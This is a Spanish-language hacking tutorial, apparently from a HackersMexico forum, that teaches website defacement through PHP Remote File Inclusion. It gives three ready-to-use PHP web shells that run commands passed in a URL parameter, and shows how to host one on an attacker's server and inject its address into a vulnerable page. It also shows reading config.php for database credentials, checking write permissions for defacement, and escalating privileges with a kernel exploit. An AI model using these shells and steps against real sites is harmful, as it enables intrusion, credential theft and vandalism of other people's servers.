técnica de Defacing inclusion remote (THE JOKER HACK)

Esta técnica de Defacing consiste en la inclusión remota de un servidor a otro, mediante la vulnerabilidad RFI Remote File Inclussion, esta vulnerabilidad en común en websistes que usen usen variables de inclusion y no las controles adecuadamente.
Este tipo de paginas tienen un código así:

Código:
<?
include"$seccion";
?>

Y tienen una sintaxis algo así: http://web_vulnerable.com/index.php?seccion=noticias

Y cuando en este tipo de paginas, no se controlan bien las variables, se puede hacer una inclusión de archivos de un servidor a otro. O sea, en este ejemplo, se le inyectaría código a la variable $seccion .

Se atacaría la Web de esta manera. Si la Web es así:

http://web_vulnerable.com/index.php?seccion=noticias

se inyectaría así:

http://web_vulnerable.com/index.php?seccion=[aqui el código]


Se tiene en cuenta que cualquier variable puede ser atacada, ya sea $id , $modules , $name ,$page $ seccion , $pagina ,etc.


Lo que se tiene que hacer es meter código CMD, para usarlo como una Shell. Y poder ejecutar comandos Unix, y así poder modificar directamente la pagina, o aveces todo el servidor y así poder hacer un mass deface Deface Masivo


Ya que hayas encontrado una pagina vulnerable, necesitas crear un archivo de ejecución, que es el que ejecutara los mandos Unix,

Código:
<?
exec($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line<br>"; }
?>

exec();

Código:
<?
system($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line<br>"; }
?>

system();

Código:
<?
passthru($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line<br>"; }
?>

Es importante que guardemos esos archivos con una extensión distinta a .php, porque de lo contrario se ejecutarían en nuestro servidor. Pueden usar cualquiera, TXT , JPG , GIF , etc

Listo ahora, cualquiera de esos tres archivos los subimos a nuestro servidor,

Y la forma va a ser la siguiente.

http://web_vulnerable.com/index.php?seccion=

tuweb/remote.txt?cmd=id;

Ahora, vas a poder usar como una Shell, escalar directorios, puedes ejecutar comandos Unix.



Si no te funciona con un código, es necesario que pruebes con los tres, ya que el servidor puede que tenga blokeada una.



Nota: También puedes usar herramientas más complejas como el Defacing Tool , el  Executor de Comandos , que los puedes contrar en HackersMexico Defacing

En conclusión la forma de explotar la vulnerabilidad es así

Código:
http://web_vulnerable.com/index.php?seccion=
tuweb/remote.txt?cmd=[aquí el comando]

Comandos:

Puedes usar cualquier comando de Unix, como si se tratara de uns  Shell, puedes usar el comando Cat, para poder ver el contenido de los archivos, por ejemplo de los archivos config.php que puede tener datos sobre la base de datos:

cd/home/NOMBRE_DE_USUARIO/public_html;cat config.php

Como saber si tengo permisos de escritura.

Para saber si tienes permisos debes crear un archivo con el siguiente código:

Código:
<?
if(@is_writable($chdir)){
echo "El Servidor Tiene Permisos de Escritura - HackersMexico.com";
}else{
echo "Error !!!: El servidor no tiene permisos de escritura - HackersMexico.com";
}
?>

¿ Que hago si el servidor no tiene permisos de escritura?

Si te saliera este mensaje:  Error !!!: El servidor no tiene permisos de escritura - HackersMexico.com

Pues podriamos usar el W00t o cualquier otro exploit que nos permita explotar el Bug del Kernel 2.4

Fuente:hackersmexico -[el JoKEr]-